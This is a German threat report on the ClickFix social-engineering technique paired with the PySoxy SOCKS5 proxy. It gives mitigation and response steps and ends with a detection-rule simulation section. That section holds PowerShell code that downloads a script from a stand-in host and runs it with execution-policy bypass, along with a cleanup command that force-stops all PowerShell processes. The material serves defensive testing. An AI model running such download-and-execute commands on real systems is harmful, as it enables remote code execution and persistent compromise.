ClickFix entwickelt sich mit PySoxy-Proxying weiter

Zusammenfassung

ClickFix ist eine auf Social Engineering basierende Lieferungstechnik, die jetzt mit dem Open-Source-SOCKS5-Proxy PySoxy kombiniert wird, um einen verschlüsselten sekundären Zugangskanal zu schaffen. Der Angriff beginnt, wenn ein Benutzer einen bösartigen PowerShell-Befehl ausführt, der eine geplante Aufgabe zur Persistenz einrichtet und eine im Speicher ausgeführte PowerShell-Kommandozentrale startet. Nach anfänglicher Aufklärung lädt der Angreifer PySoxy herunter und führt es aus, um einen zweiten verschlüsselten Pfad in die Umgebung zu etablieren. Diese modulare Nutzung von interpreterbasierten Tools macht sowohl die Erkennung als auch die Vorfallseindämmung schwieriger.

Untersuchung

ReliaQuest beobachtete einen einzigen benutzergesteuerten ClickFix-Befehl, der einen verschleierten PowerShell-Stager startete, eine geplante Aufgabe erstellte, eine Domänenaufklärung durchführte und später eine kompilierte Python-Bytecode-Datei namens b64.pyc, die mit python.exeausgeführt wurde. Die PowerShell-Komponente fungierte als leichter RAT, der alle drei Sekunden seinen Kommando- und Kontrollserver abfragte. Forscher sahen auch, dass der Angreifer curl verwendete, um Protokolle hochzuladen und die PySoxy-Nutzlast vom selben Staging-Server abzurufen.

Abschwächung

Verteidiger sollten verdächtige PowerShell-Starts erkennen und blockieren, die von explorer.exeausgehen, Überwachung geplanter Aufgaben, die versteckte PowerShell-Befehle ausführen, und nach Python-Ausführungen suchen, die proxybezogene Argumente wie -ssl, -remote_ip, und -remote_portverwenden. Sicherheitsteams sollten auch ausgehenden Datenverkehr zu den identifizierten Domänen und IP-Adressen überprüfen und alle persistierten PowerShell-Skripte oder .pyc Dateien entfernen, die in ProgramData.

Reaktion

Wenn verwandte Indikatoren gefunden werden, isolieren Sie den betroffenen Host sofort, deaktivieren Sie das kompromittierte Benutzerkonto, entfernen Sie die bösartige geplante Aufgabe, löschen Sie das PowerShell-Skript und PySoxy-Artefakte und scannen Sie das System nach zusätzlichen Überresten. Verteidiger sollten auch bestätigen, dass ausgehender Datenverkehr zur identifizierten Infrastruktur blockiert ist und verifizieren, dass keine anderen Persistenzmechanismen mehr aktiv sind.

Simulation von Ausführungen

Voraussetzung: Der Telemetrie- und Basislinie-Vorabcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die zur Auslösung der Erkennungsregel entworfen wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die exakte Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

• Angriffsbericht & Befehle:

  1. Ziel: Einen PowerShell-basierten C2-Kanal (ClickFix) einrichten, der eine bösartige Nutzlast von einem entfernten Server herunterlädt und sie heimlich ausführt.
  2. Methode: Der Angreifer startet powershell.exe mit den exakten Flags, die die Regel überwacht (-NoProfile and -ExecutionPolicy Bypass) und verwendet Invoke-WebRequest , um die Nutzlast abzurufen.
  3. Warum diese Methode: Durch die Nutzung der nativen Windows PowerShell und des gängigen Invoke-WebRequest Cmdlet vermeidet der Angreifer das Herunterladen von Tools Dritter und reduziert so die Chance der Erkennung durch AV, während er das bekannte ClickFix-Verhalten erreicht, das in der Regel erfasst wurde.

  # Schritt 1: Laden Sie das bösartige Script herunter (simuliert als harmloser Test)
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  Invoke-WebRequest -Uri $url -OutFile $out
  
  # Schritt 2: Führen Sie das heruntergeladene Skript mit denselben Startparametern aus, die die Regel überwacht
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

• Regressionstestskript:

  # ==============================================
  # ClickFix PowerShell C2-Simulation (TC-20260514-3G7ZK)
  # ==============================================
  
  # Variablen definieren
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Eine Dummy-Nutzlast herunterladen (fungiert als C2-Abruf)
  Write-Host "[*] Laden der Nutzlast..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Download fehlgeschlagen: $_"
      exit 1
  }
  
  # 2. Führen Sie die Nutzlast mit den genau überwachten Flags aus
  Write-Host "[*] Ausführen der Nutzlast mit -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulation abgeschlossen."
  # ==============================================

• Bereinigungsbefehle:

  # Entfernen Sie die temporäre Nutzlast-Datei
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Nutzlastdatei entfernt."
  }
  
  # Optional: Stoppen Sie alle verbleibenden PowerShell-Prozesse, die vom Test gestartet wurden
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Bereinigung abgeschlossen."